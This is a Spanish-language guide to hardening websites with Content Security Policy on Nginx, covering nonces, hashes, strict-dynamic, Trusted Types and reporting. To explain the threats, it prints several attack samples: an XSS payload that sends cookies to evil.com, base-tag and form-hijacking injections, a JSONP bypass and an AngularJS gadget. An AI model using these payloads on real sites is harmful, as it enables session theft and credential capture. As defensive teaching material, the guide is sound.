Content Security Policy (CSP) con Nginx: La Guía Completa
Domina Content Security Policy de cero a A+ — nonces, hashes, strict-dynamic, Trusted Types, prevención de bypass y configuraciones Nginx en producción.

Cross-Site Scripting (XSS) sigue siendo una de las vulnerabilidades web más devastadoras, apareciendo sistemáticamente en el Top 10 de OWASP y representando aproximadamente el 40 % de todos los problemas de seguridad reportados en aplicaciones web. Según la investigación de seguridad de Google, incluso los sitios web con CSP a menudo fallan en implementarla correctamente: el 94,72 % de las CSP basadas en allowlist se pueden eludir.
Content Security Policy (CSP) es tu defensa a nivel de navegador contra estos ataques. Piensa en ella como una estricta “lista de invitados” para tu sitio web: le indicas al navegador explícitamente qué recursos (scripts, estilos, imágenes) pueden ejecutarse. Todo lo que no esté en la lista se bloquea, incluso si un atacante consigue inyectar código malicioso.
Esta guía te lleva desde cero hasta una configuración CSP lista para producción con calificación A+. Aprenderás no solo el “cómo” sino el “por qué” detrás de cada directiva, comprenderás las técnicas modernas de bypass y cómo prevenirlas, y descubrirás temas avanzados como Trusted Types para la prevención de XSS basado en DOM.
Lo que aprenderás
- Empieza con una línea:
default-src 'self'te ofrece protección inmediata - Usa nonces, no allowlists: el 94,72 % de las CSP basadas en allowlist se pueden eludir; los nonces son criptográficamente seguros
- Los sitios estáticos pueden usar nonces: el
sub_filterde Nginx reemplaza placeholders en cada petición - Adopta
strict-dynamic: la confianza se propaga desde los scripts con nonce a los cargados dinámicamente - Incluye hardening de seguridad:
object-src 'none'ybase-uri 'none'son obligatorios para una CSP estricta - Trusted Types: la siguiente evolución para la prevención de XSS basado en DOM (CSP Level 3)
- Despliega de forma segura: empieza siempre en modo report-only antes de aplicar la política
La evolución de CSP
Content Security Policy ha evolucionado significativamente desde su introducción. Comprender esta evolución te ayuda a valorar por qué existen los enfoques modernos de “CSP estricta”.
- X-Content-Security-Policy
Mozilla presenta la primera implementación de CSP como cabecera experimental. Blog de Seguridad de Mozilla
- Hito CSP Level 1
El W3C estandariza CSP con directivas fetch básicas (script-src, style-src, etc.). Especificación W3C CSP 1.0
- Hito CSP Level 2
Introduce nonces, hashes y frame-ancestors. 'unsafe-inline' puede anularse con nonces. W3C CSP Level 2
- Obsoleto Investigación de Google
Google publica 'CSP Is Dead, Long Live CSP' demostrando que el 94,72 % de las CSP basadas en allowlist se pueden eludir. Artículo de investigación
- Estándar strict-dynamic
Nueva keyword que permite a los scripts de confianza cargar dependencias sin necesidad de allowlist explícito. MDN strict-dynamic
- Hito CSP Level 3 (Working Draft)
Introduce Trusted Types, report-to y soporte mejorado para WebAssembly. W3C CSP Level 3
- Estándar Adopción de Trusted Types
El soporte en navegadores madura; las empresas comienzan a adoptarlo para la prevención de DOM-XSS. web.dev Trusted Types
Tu primera CSP en 5 minutos
Vamos a poner en marcha una CSP funcional ahora mismo. Abre tu configuración de Nginx y añade esta única cabecera:
server {
listen 443 ssl;
server_name example.com;
# Your first CSP - allow resources only from your own domain
add_header Content-Security-Policy "default-src 'self'" always;
# ... rest of your config
}Comprueba tu configuración y recarga Nginx:
¡Eso es todo! Ahora tienes una CSP funcional. Abre las DevTools de tu navegador (F12 → Consola) para ver las violaciones:
Refused to load the script ‘https://cdn.example.com/analytics.js’ because it violates the following Content Security Policy directive: “default-src ‘self’”.
Entendiendo CSP: el concepto de lista blanca
CSP funciona definiendo lo que se permite, no lo que se bloquea. Piensa en ella como una lista VIP en un evento exclusivo: solo los recursos que figuran en la lista pueden entrar.
Por qué CSP importa: el principio de defensa en profundidad
Sin CSP, si un atacante inyecta <script>stealCookies()</script> en tu página (a través de un formulario de comentarios, un parámetro de URL o la base de datos), el navegador lo ejecuta sin problemas: no tiene forma de distinguir scripts legítimos de maliciosos.
Con CSP, el navegador verifica cada recurso contra tu política antes de ejecutarlo. Si los scripts inline no están explícitamente permitidos, el ataque se neutraliza a nivel de navegador.
Cómo funcionan los ataques XSS (y cómo CSP los detiene)
Para entender el valor de CSP, vamos a trazar un ataque XSS típico:
Desglose paso a paso
Inyección: el atacante envía un comentario que contiene:
<script>fetch('https://evil.com?c='+document.cookie)</script>Almacenamiento: el sitio web lo guarda en la base de datos sin una sanitización adecuada
Entrega: cuando otro usuario ve la página, el script malicioso se sirve como parte del HTML
Ejecución: el navegador ve una etiqueta
<script>y la ejecuta sin hacer preguntasExfiltración: el script envía las cookies de sesión al servidor del atacante
Cómo CSP rompe la cadena
Con CSP (script-src 'self'), el paso 4 falla. El navegador comprueba: “¿Es un script inline? ¿Está 'unsafe-inline' permitido?” Como los scripts inline están bloqueados por defecto, el ataque se neutraliza:
Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘self’”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-…’), or a nonce (‘nonce-…’) is required to enable inline execution.
Vectores de ataque que CSP previene
CSP aborda múltiples categorías de amenazas. Así es como las diferentes directivas crean defensa en profundidad:
| Amenaza | Vector de ataque | Defensa CSP |
|---|---|---|
| XSS reflejado | Scripts inyectados mediante parámetros de URL | script-src sin ‘unsafe-inline’ |
| XSS almacenado | Scripts inyectados mediante contenido de BD | script-src con nonces/hashes |
| XSS basado en DOM | Abuso de eval(), innerHTML | script-src sin ‘unsafe-eval’ + Trusted Types |
| Exfiltración de datos | XHR/fetch a servidores del atacante | connect-src ‘self’ |
| Clickjacking | Sitio enmarcado por una página maliciosa | frame-ancestors ‘none’ |
| Contenido mixto | Recursos HTTP en páginas HTTPS | upgrade-insecure-requests |
| Ataques mediante plugins | Exploits de Flash, Java, PDF | object-src ‘none’ |
| Secuestro de formularios | Formularios inyectados para robar credenciales | form-action ‘self’ |
| Inyección de etiqueta base | Redirección de URLs relativas al atacante | base-uri ‘none’ |
Directivas CSP: aprende haciendo
En lugar de memorizar tablas, vamos a aprender cada directiva añadiéndola a nuestra política de forma progresiva.
1. default-src: el fallback
Esta es la directiva comodín. Si no especificas una directiva para un tipo de recurso, se aplica default-src.
default-src <source-list>* (permitir todo)Fallback para todas las directivas fetch no especificadas. Establécela de forma restrictiva y añade directivas específicas según sea necesario.
Buena práctica: establece default-src 'none' y permite explícitamente lo que necesites. Este es el enfoque “denegar por defecto” que recomiendan los profesionales de seguridad.
# Block everything by default - explicitly allow what you need
Content-Security-Policy: default-src 'none';2. script-src: la directiva más crítica
Controla qué scripts pueden ejecutarse en tu página. Si te equivocas aquí, toda tu CSP es prácticamente inútil.
script-src <source-list>Recurre a default-srcEspecifica las fuentes válidas para JavaScript. Es la directiva más importante para la protección contra XSS.
| Valor | Significado | Seguridad |
|---|---|---|
’self’ | Solo mismo origen (esquema + host + puerto) | Seguro |
’none’ | Bloquea todos los scripts completamente | Máximo |
’nonce-{random}‘ | Permite scripts con atributo nonce coincidente | Recomendado |
’sha256-{hash}‘ | Permite scripts con hash de contenido coincidente | Fuerte |
’strict-dynamic’ | La confianza se propaga a scripts cargados dinámicamente | Fuerte |
https://cdn.example.com | Permite scripts de un dominio específico | Débil (eludible) |
‘unsafe-inline’ | Permite todos los scripts inline | Peligroso |
’unsafe-eval’ | Permite eval(), Function(), etc. | Peligroso |
3. style-src: control de CSS
style-src <source-list>Recurre a default-srcEspecifica las fuentes válidas para hojas de estilo. Menos crítica que script-src pero igualmente importante para una protección integral.
# Allow styles from same origin + inline styles
style-src 'self' 'unsafe-inline';4. Directivas de recursos
# Allow images from same origin + data: URIs (for base64)
img-src 'self' data:;data: suele necesitarse para imágenes codificadas en base64, iconos SVG o imágenes placeholder.
# Allow fonts from same origin only
font-src 'self';
# Or allow Google Fonts
font-src 'self' https://fonts.gstatic.com;# Restrict XHR/Fetch/WebSocket destinations
# Critical for preventing data exfiltration
connect-src 'self' https://api.example.com;Esto controla a dónde puede enviar datos JavaScript. Es crítico para evitar que se envíen datos robados a servidores del atacante.
# Audio and video sources
media-src 'self';# Web Workers and Service Workers
worker-src 'self';
# For sites using blob: URLs for workers
worker-src 'self' blob:;Controla las fuentes para scripts de Worker, SharedWorker y ServiceWorker. Si no se especifica, recurre a script-src como fallback.
5. Directivas de hardening de seguridad
A menudo se pasan por alto pero son obligatorias para una CSP estricta:
object-src 'none' — Bloquear plugins
Los plugins como Flash y Java han sido históricamente vectores de vulnerabilidades importantes. Aunque Flash está obsoleto, bloquear object-src previene cualquier ataque basado en plugins:
# Block all plugins (Flash, Java, Silverlight, PDF viewers)
object-src 'none';base-uri 'none' — Prevenir la inyección de etiqueta base
La etiqueta <base> define una URL base para todas las URLs relativas de un documento. Si un atacante inyecta una etiqueta <base>, puede redirigir todas tus URLs relativas a su servidor:
<!-- Attacker injects this -->
<base href="https://evil.com/">
<!-- Your existing code now loads from attacker! -->
<script src="/js/app.js"></script>
<!-- Loads https://evil.com/js/app.js -->Content-Security-Policy: base-uri 'none'
<!-- Injection attempt blocked! -->
Refused to set the document's base URI to
'https://evil.com/' because it violates CSP.frame-ancestors 'none' — Protección contra clickjacking
Impide que tu sitio se incruste en iframes en otros sitios:
# Don't allow embedding anywhere (replaces X-Frame-Options)
frame-ancestors 'none';
# Or allow embedding only on your own domain
frame-ancestors 'self';form-action 'self' — Controlar el envío de formularios
Impide que los atacantes inyecten formularios que envían datos a sus servidores:
# Forms can only submit to your own domain
form-action 'self';Construyendo tu CSP capa a capa
En lugar de escribir una CSP perfecta de golpe (lo que lleva a la frustración), vamos a construirla de forma progresiva. Cada capa añade protección, y puedes detenerte en cualquier nivel según tus necesidades.
| Nivel | Adición a la política | Protección añadida |
|---|---|---|
| 0 | Sin CSP | Ninguna — completamente expuesto a XSS |
| 1 | default-src ‘none’ | Bloquea todo por defecto |
| 2 | + script-src ‘self’ | Solo se ejecutan tus scripts |
| 3 | + style-src, img-src, font-src | Controla los recursos visuales |
| 4 | + connect-src ‘self’; object-src ‘none’ | Limita la exfiltración de datos, bloquea plugins |
| 5 | + base-uri ‘none’; frame-ancestors ‘none’ | Previene inyección y clickjacking |
| 6 | + form-action ‘self’; upgrade-insecure-requests | Protección base completa |
Nivel 6: una CSP base sólida
Así es como se ve el Nivel 6 en la práctica:
add_header Content-Security-Policy "
default-src 'none';
script-src 'self';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
" always;El reto de los scripts inline
La mayoría de sitios web tienen scripts inline como este:
<script>
// Theme detection - runs before page renders
const theme = localStorage.getItem('theme') || 'system';
document.documentElement.classList.add(theme);
</script>Con script-src 'self', esto se bloquea. Tienes tres soluciones:
| Solución | Ideal para | Ventajas | Inconvenientes |
|---|---|---|---|
| Archivos externos | Casos sencillos | Sin nonces/hashes; cacheable | Petición HTTP extra; no puede ejecutarse antes del render |
| Hashes | Scripts estáticos | Funciona con contenido estático; sin cambios en el servidor | Hay que regenerarlo con cada cambio en el script |
| Nonces ⭐ | Todos los casos | Máxima flexibilidad; recomendado por Google | Requiere nonce del servidor (truco Nginx para sitios estáticos) |
Solución 1: mover a archivos externos
El enfoque más limpio — mover el código inline a archivos .js:
<head>
<script>
initTheme();
</script>
</head><head>
<script src="/js/theme.js"></script>
</head>Solución 2: usar hashes
Genera un hash SHA-256 del contenido de tu script y añádelo a tu CSP. Pruébalo tú mismo:
Calculando... Calculando... Calculando... Calculando... ...Limitación: debes regenerar el hash cada vez que cambie el contenido del script — incluso añadir un espacio lo invalidará.
Solución 3: usar nonces
Añade un token aleatorio tanto a la cabecera CSP como a tus etiquetas de script:
Content-Security-Policy:
script-src 'self' 'nonce-abc123def456';<script nonce="abc123def456">
const theme = localStorage.getItem('theme');
document.documentElement.classList.add(theme);
</script>Fundamental: el nonce debe ser:
- Criptográficamente aleatorio (al menos 128 bits / 16 bytes)
- Único por petición (nunca reutilices nonces)
- Codificado (base64 o hex — el
$request_idde Nginx usa hex, que es válido según la especificación CSP)
Nonces para sitios estáticos: el truco de Nginx
Este es el reto: los generadores de sitios estáticos (Astro, Next.js, Hugo) construyen el HTML en tiempo de build. Pero los nonces deben ser únicos por petición. ¿Cómo puede un HTML estático contener nonces dinámicos?
La solución: sustitución de placeholders
Paso 1: usa placeholders en tus plantillas
En tus plantillas, usa un placeholder que Nginx reemplazará:
---
// Layout component
---
<html>
<head>
<!-- Nginx will replace this placeholder -->
<script is:inline nonce="CSP_NONCE_NGINX">
const theme = localStorage.getItem('theme') || 'system';
document.documentElement.dataset.theme = theme;
</script>
</head>
<body>
<slot />
</body>
</html>Paso 2: configura Nginx
server {
listen 443 ssl;
server_name example.com;
# ================================================
# STEP 1: Generate unique nonce per request
# ================================================
# $request_id = 32-char hex string (128 bits entropy)
set $cspNonce $request_id;
# ================================================
# STEP 2: Replace placeholder with real nonce
# ================================================
# NOTE: sub_filter requires uncompressed responses.
# For proxied backends, add: proxy_set_header Accept-Encoding "";
# For static files, ensure gzip is disabled or applied after sub_filter.
sub_filter_once off; # Replace ALL occurrences
sub_filter_types text/html text/css application/javascript;
sub_filter CSP_NONCE_NGINX $cspNonce;
# ================================================
# STEP 3: Set CSP header with same nonce
# ================================================
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
" always;
# ... rest of config
}Lo que el navegador ve
<!-- Static file on disk -->
<script nonce="CSP_NONCE_NGINX">
const theme = localStorage.getItem('theme');
</script>HTTP/2 200 OK
Content-Security-Policy: script-src 'nonce-a1b2c3d4e5f6...' ...<!-- What browser actually receives -->
<script nonce="a1b2c3d4e5f6...">
const theme = localStorage.getItem('theme');
</script>Modo estricto con 'strict-dynamic'
La keyword 'strict-dynamic' es revolucionaria: permite que los scripts cargados por scripts de confianza también se ejecuten, sin necesitar sus propios nonces.
Cómo funciona
<!-- This script has a valid nonce -->
<script nonce="abc123">
// This dynamically created script ALSO runs
// because it inherits trust from the parent
const script = document.createElement('script');
script.src = 'https://cdn.example.com/analytics.js';
document.head.appendChild(script);
</script>Cuándo usar 'strict-dynamic'
| Escenario | ¿Usar strict-dynamic? | Razón |
|---|---|---|
| SPA con code splitting | Sí | Webpack/Vite cargan chunks dinámicamente |
| Analytics (GA, Segment) | Sí | Los scripts de analytics suelen cargar scripts adicionales |
| Widgets de terceros | Sí | Los widgets de chat y embeds cargan sus propias dependencias |
| Sitio estático simple | Opcional | Si todos los scripts están en el HTML, los nonces por sí solos son suficientes |
| Sin JavaScript | No | Usa script-src ‘none’ en su lugar |
La fórmula de CSP estricta
Según la investigación de Google, una “CSP estricta” que realmente proteja contra XSS requiere estos elementos:
- Usa nonces o hashes en lugar de allowlists de dominios
- Incluye
'strict-dynamic'para la carga dinámica de scripts - Establece
object-src 'none'para bloquear plugins - Establece
base-uri 'none'para prevenir la inyección de etiquetas base
La plantilla
# The three essential directives for strict CSP
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';Por qué las allowlists no funcionan
Los vectores de bypass más comunes incluyen:
- Endpoints JSONP en CDNs de confianza
- Redirecciones abiertas en dominios permitidos
- Inyección de plantillas de AngularJS en orígenes permitidos
- Contenido subido por usuarios servido desde dominios permitidos
Interactivo: Construye tu CSP
Usa este constructor interactivo para crear una política y ver tu puntuación de seguridad en tiempo real:
default-src Estricto Bloquear todos los recursos por defecto (enfoque denegar por defecto) 'none'script-src Estricto Permitir scripts del mismo origen con nonce 'self' 'nonce-{RANDOM}'style-src Permitir estilos del mismo origen + estilos en línea 'self' 'unsafe-inline'Endurecimiento de seguridad
object-src Estricto Bloquear plugins (Flash, Java) — Requerido para CSP estricto 'none'base-uri Estricto Prevenir inyección de etiqueta base — Requerido para CSP estricto 'none'frame-ancestors Prevenir clickjacking (reemplaza X-Frame-Options) 'none'form-action Restringir envíos de formularios al mismo origen 'self'frame-src Controlar fuentes de frames e iframes 'self'sandbox Aplicar restricciones sandbox (como iframe sandbox) allow-scripts allow-same-originControl de recursos
img-src Permitir imágenes del mismo origen + URIs de datos 'self' data:font-src Permitir fuentes del mismo origen 'self'connect-src Restringir conexiones XHR/Fetch/WebSocket 'self'media-src Permitir audio/vídeo del mismo origen 'self'worker-src Permitir Web Workers del mismo origen 'self'child-src Controlar workers y contextos de navegación anidados 'self'manifest-src Controlar fuentes del manifiesto de la aplicación web 'self'Opciones avanzadas
strict-dynamic Confiar en scripts cargados por scripts de confianza (añadir a script-src) upgrade-insecure-requests Actualizar automáticamente HTTP a HTTPS block-all-mixed-content Obsoleto Bloquear todos los recursos HTTP en páginas HTTPS require-trusted-types-for Requerir Trusted Types para sumideros DOM XSS 'script'report-to Endpoint de informes moderno (usar con la cabecera Reporting-Endpoints) csp-endpointreport-uri Obsoleto Endpoint de informes de violaciones (obsoleto, usar report-to) /csp-reportsContent-Security-Policy: ...Técnicas de bypass de CSP y prevención
Entender cómo los atacantes eluden la CSP te ayuda a evitar errores comunes.
1. Endpoints JSONP
Los endpoints JSONP ejecutan callbacks controlados por el usuario, lo que los convierte en un vector de bypass clásico:
# CSP trusts all of cdn.example.com
script-src 'self' https://cdn.example.com;<!-- Attacker exploits JSONP endpoint -->
<script src="https://cdn.example.com/api?callback=alert(1)//"></script># Use nonces instead of domain allowlists
script-src 'nonce-$cspNonce' 'strict-dynamic';<!-- JSONP has no nonce - blocked! -->
<script src="https://cdn.example.com/api?callback=alert"></script>
<!-- Refused to execute script... -->2. Secuestro de formularios
Los atacantes pueden inyectar formularios para robar credenciales si no se establece form-action:
<!-- Attacker injects this before your login form -->
<form action="https://evil.com/steal">
<!-- Your existing input fields get captured -->
</form>
<!-- Without form-action, the browser allows submission to evil.com! -->Prevención:
form-action 'self';3. Inyección de etiqueta base
<!-- Attacker injects this early in the document -->
<base href="https://evil.com/">
<!-- All your relative URLs now resolve to evil.com -->
<script src="/js/app.js"></script> <!-- Loads https://evil.com/js/app.js -->
<img src="/images/logo.png"> <!-- Loads https://evil.com/images/logo.png -->
<a href="/login">Login</a> <!-- Links to https://evil.com/login -->Prevención:
base-uri 'none';4. Script gadgets en bibliotecas permitidas
Algunas bibliotecas importantes contienen patrones que pueden explotarse para XSS cuando dicha biblioteca está permitida por CSP:
Según la investigación de Sebastian Lekies et al., las bibliotecas más comunes contienen patrones explotables:
| Biblioteca | Tipo de gadget | Vector de ataque | Riesgo |
|---|---|---|---|
| AngularJS (1.x) | Inyección de plantillas | ng-app + {{constructor.constructor(‘alert(1)’)()}} | Crítico |
| jQuery (<3.0) | XSS basado en selectores | $(location.hash) con entrada del usuario | Alto |
| Require.js | Imports dinámicos | Rutas de módulos controladas por el atacante | Medio |
| Dojo Toolkit | Carga de módulos | require() con entrada del usuario | Medio |
| Google Closure | Sistema de plantillas | Renderizado inseguro de plantillas | Medio |
5. object-src ausente
Sin object-src 'none', los atacantes pueden usar plugins para ejecutar código:
<!-- Flash-based XSS (legacy but still seen) -->
<object data="data:application/x-shockwave-flash;base64,..."
type="application/x-shockwave-flash">
</object>
<!-- PDF with JavaScript -->
<embed src="malicious.pdf" type="application/pdf">Prevención:
object-src 'none';Trusted Types: La siguiente evolución
Mientras que la CSP tradicional previene la inyección de etiquetas <script>, no protege contra XSS basado en DOM donde JavaScript escribe directamente en sinks peligrosos:
// These are dangerous DOM sinks
element.innerHTML = userInput; // XSS if userInput contains HTML
location.href = userInput; // Open redirect/XSS
document.write(userInput); // XSS
eval(userInput); // Remote code executionTrusted Types obliga a los desarrolladores a sanitizar los datos antes de pasarlos a estos sinks.
Cómo funcionan los Trusted Types
Activar Trusted Types
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
# Trusted Types enforcement
require-trusted-types-for 'script';
trusted-types default;
" always;Crear una política de Trusted Types
// Create a policy that sanitizes HTML
if (window.trustedTypes && trustedTypes.createPolicy) {
const sanitizerPolicy = trustedTypes.createPolicy('default', {
createHTML: (input) => {
// Use DOMPurify or similar sanitizer
return DOMPurify.sanitize(input);
},
createScriptURL: (input) => {
// Only allow same-origin URLs
const url = new URL(input, window.location.origin);
if (url.origin !== window.location.origin) {
throw new Error('Cross-origin scripts not allowed');
}
return url.href;
}
});
}
// Now innerHTML requires TrustedHTML
element.innerHTML = userInput; // TypeError: requires TrustedHTML
element.innerHTML = sanitizerPolicy.createHTML(userInput); // Works!Avanzado: CSP por endpoint
Diferentes partes de tu sitio pueden necesitar políticas distintas:
- Paneles de administración: CSP más estricta
- Endpoints de API: No se necesita CSP (el JSON no se ejecuta)
- Assets estáticos: Relajada para previsualizaciones en redes sociales
- Páginas con contenido generado por usuarios: Restricciones adicionales
Implementación
server {
listen 443 ssl;
server_name example.com;
# Default: strict CSP for HTML pages
location / {
try_files $uri $uri/ =404;
include /etc/nginx/snippets/security-headers-strict.conf;
}
# API: no CSP needed for JSON
location /api/ {
proxy_pass http://backend;
# No CSP header - JSON isn't executed by browsers
}
# Assets: relaxed for social media crawlers
location /assets/ {
expires 1y;
add_header Cache-Control "public, immutable";
include /etc/nginx/snippets/security-headers-assets.conf;
}
}# /etc/nginx/snippets/security-headers-strict.conf
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
...
" always;
# Prevent embedding
add_header Cross-Origin-Resource-Policy "same-origin" always;# /etc/nginx/snippets/security-headers-assets.conf
add_header Content-Security-Policy "
default-src 'none';
img-src 'self';
font-src 'self';
" always;
# Allow social media to fetch images for previews
add_header Cross-Origin-Resource-Policy "cross-origin" always;Migración: de Report-Only a aplicación
Nunca despliegues una CSP estricta directamente en producción. Utiliza un enfoque por fases:
Desplegar en modo report-only (1-2 semanas)
Usa
Content-Security-Policy-Report-Onlypara registrar violaciones sin bloquear nada. Monitoriza tus logs para entender qué se rompería.Analizar y corregir violaciones
Revisa los informes y soluciona los problemas:
- Inline event handlers →
addEventListener() - Llamadas a
eval()→JSON.parse()o refactorización - Nonces faltantes en scripts inline
- Scripts de terceros que necesitan
strict-dynamic
- Inline event handlers →
Activar la aplicación gradualmente
Cambia de
Report-OnlyaContent-Security-Policy. Mantén una cabecera report-only para probar futuras políticas más estrictas.
Fase 1: Report-Only
# Logs violations but doesn't block anything
add_header Content-Security-Policy-Report-Only "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
font-src 'self';
connect-src 'self';
object-src 'none';
base-uri 'none';
frame-ancestors 'none';
form-action 'self';
upgrade-insecure-requests;
report-uri /csp-reports;
" always;Fase 2: Corregir problemas comunes
- Inline event handlers → Convertir
onclick="..."aaddEventListener() - Uso de
eval()→ Reemplazar conJSON.parse()o refactorizar - Nonces faltantes → Añadir
nonce="CSP_NONCE_NGINX"a los scripts inline - Scripts de terceros → Verificar que
'strict-dynamic'los cubre - Estilos inline en JS → Usar clases CSS o CSS custom properties
Fase 3: Aplicar
# Now blocking violations
add_header Content-Security-Policy "..." always;
# Optional: keep report-only for testing stricter future policies
add_header Content-Security-Policy-Report-Only "...even-stricter-policy..." always;Configurar el reporting de CSP
El reporting integrado de CSP te informa cuando se producen violaciones — es esencial para la depuración y la detección de ataques.
Usar en su lugar: report-to
Opción 1: Logging simple con Nginx
# Reporting endpoint
location /csp-reports {
access_log /var/log/nginx/csp-reports.log;
return 204;
}# Modern Reporting API (Chrome 70+)
add_header Reporting-Endpoints 'csp-endpoint="/csp-reports"' always;
# CSP with both legacy and modern reporting
add_header Content-Security-Policy "
default-src 'none';
script-src 'self' 'nonce-$cspNonce' 'strict-dynamic';
...
report-uri /csp-reports;
report-to csp-endpoint;
" always;Opción 2: Servicios de terceros
Servicios como Report URI proporcionan dashboards y análisis:
report-uri https://your-subdomain.report-uri.com/r/d/csp/enforce;
report-to csp-endpoint;Formato del informe de violación
Los navegadores envían informes JSON como este:
{
"csp-report": {
"document-uri": "https://example.com/page",
"blocked-uri": "https://evil.com/script.js",
"violated-directive": "script-src-elem",
"effective-directive": "script-src-elem",
"original-policy": "script-src 'nonce-abc123' 'strict-dynamic'",
"disposition": "enforce",
"status-code": 200,
"script-sample": "",
"line-number": 42,
"column-number": 15,
"source-file": "https://example.com/page"
}
}Refactorizar código para CSP
Algunos patrones comunes son incompatibles con una CSP estricta. Así es como se corrigen:
Inline event handlers → addEventListener
<button onclick="submitForm()">Submit</button>
<a href="javascript:doSomething()">Click</a>
<form onsubmit="validate()">...</form><button id="submitBtn">Submit</button>
<a href="#" id="actionLink">Click</a>
<form id="myForm">...</form>
<script nonce="CSP_NONCE_NGINX">
document.getElementById('submitBtn')
.addEventListener('click', submitForm);
document.getElementById('actionLink')
.addEventListener('click', (e) => {
e.preventDefault();
doSomething();
});
document.getElementById('myForm')
.addEventListener('submit', validate);
</script>eval() → JSON.parse()
// Dangerous - blocked by CSP
const data = eval('(' + jsonString + ')');
setTimeout('doSomething()', 1000);
const fn = new Function('x', 'return x * 2');// Safe - works with strict CSP
const data = JSON.parse(jsonString);
setTimeout(doSomething, 1000);
const fn = (x) => x * 2;Estilos inline en JS → CSS custom properties
// setAttribute('style', ...) can be blocked by style-src
element.setAttribute('style', 'color:' + color);
// Note: element.style.property = value is NOT blocked by CSP,
// but using CSS custom properties is more maintainable// Works with strict CSP and is more maintainable
element.style.setProperty('--user-color', userColor);
element.classList.add('highlighted');.highlighted {
background: var(--user-color, #fff);
}Pruebas y validación
Herramientas de desarrollo del navegador
Tu mejor aliado para depurar CSP. Abre F12 → Consola para ver las violaciones en tiempo real:
Refused to execute inline script because it violates the following Content Security Policy directive: “script-src ‘nonce-abc123’ ‘strict-dynamic’”. Either the ‘unsafe-inline’ keyword, a hash (‘sha256-…’), or a nonce (‘nonce-…’) is required to enable inline execution.
Herramientas online
| Herramienta | Propósito |
|---|---|
| Mozilla Observatory | Evaluación completa de cabeceras de seguridad (A+ posible) |
| Google CSP Evaluator | Encuentra bypasses lógicos en tu política (muy recomendado) |
| SecurityHeaders.com | Análisis rápido de cabeceras y puntuación |
| CSP Hash Generator | Genera hashes para scripts inline |
Errores comunes
1. Usar 'unsafe-inline' para scripts
# Your CSP is now useless for XSS protection
script-src 'self' 'unsafe-inline';# Actual protection
script-src 'self' 'nonce-$cspNonce';2. Fuentes excesivamente permisivas
# DANGER: Trusts the entire internet!
script-src 'self' https:;
img-src *;Esto permite que cualquier script HTTPS se ejecute, anulando completamente el propósito de CSP.
3. Olvidar directivas obligatorias
# Missing critical directives!
script-src 'nonce-$cspNonce';# All required directives present
script-src 'nonce-$cspNonce' 'strict-dynamic';
object-src 'none';
base-uri 'none';4. Olvidar always en Nginx
# CSP missing on 404, 500 pages!
add_header Content-Security-Policy "...";# CSP on ALL responses
add_header Content-Security-Policy "..." always;Sin always, las cabeceras CSP no se envían en páginas de error (404, 500), dejando esas páginas vulnerables.
5. Trampa de herencia de add_header
location / {
add_header Content-Security-Policy "..." always;
add_header X-Frame-Options "DENY" always;
}
location /assets/ {
# WARNING: This REPLACES parent headers, not adds to them!
add_header Cache-Control "public, immutable" always;
# CSP and X-Frame-Options are now MISSING here!
}Solución: Usa snippets con include para compartir cabeceras entre locations.
Ejemplo completo de producción
server {
listen 443 ssl;
listen [::]:443 ssl;
http2 on;
server_name example.com;
root /var/www/example.com;
index index.html;
# ================================================
# CSP Nonce Setup
# ================================================
set $cspNonce $request_id;
sub_filter_once off;
sub_filter_types text/html text/css application/javascript;
sub_filter CSP_NONCE_NGINX $cspNonce;
# ================================================
# Build CSP Header
# ================================================
set $csp "default-src 'none'; ";
set $csp "${csp}script-src 'self' 'nonce-${cspNonce}' 'strict-dynamic'; ";
set $csp "${csp}style-src 'self' 'unsafe-inline'; ";
set $csp "${csp}img-src 'self' data:; ";
set $csp "${csp}font-src 'self'; ";
set $csp "${csp}connect-src 'self'; ";
set $csp "${csp}worker-src 'self'; ";
set $csp "${csp}object-src 'none'; ";
set $csp "${csp}base-uri 'none'; ";
set $csp "${csp}frame-ancestors 'none'; ";
set $csp "${csp}form-action 'self'; ";
set $csp "${csp}upgrade-insecure-requests; ";
set $csp "${csp}report-uri /csp-reports; ";
set $csp "${csp}report-to csp-endpoint";
# ================================================
# Security Headers
# ================================================
add_header Reporting-Endpoints 'csp-endpoint="/csp-reports"' always;
add_header Content-Security-Policy $csp always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
# Note: require-corp is strict - external resources (fonts, CDNs) must provide
# CORP/CORS headers. Use "credentialless" for broader compatibility.
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;
# ================================================
# Routes
# ================================================
location / {
try_files $uri $uri/ =404;
}
# CSP Violation Reporting Endpoint
location /csp-reports {
access_log /var/log/nginx/csp-reports.log;
return 204;
}
# Static assets with relaxed CORP for social media
# Note: add_header in location blocks overrides parent-level headers,
# so we must re-include essential security headers here
location /assets/ {
expires 1y;
add_header Cache-Control "public, immutable" always;
add_header Cross-Origin-Resource-Policy "cross-origin" always;
# Re-include essential security headers
add_header X-Content-Type-Options "nosniff" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
}
}Tu camino con CSP: Resumen
- Empieza simple — Despliega
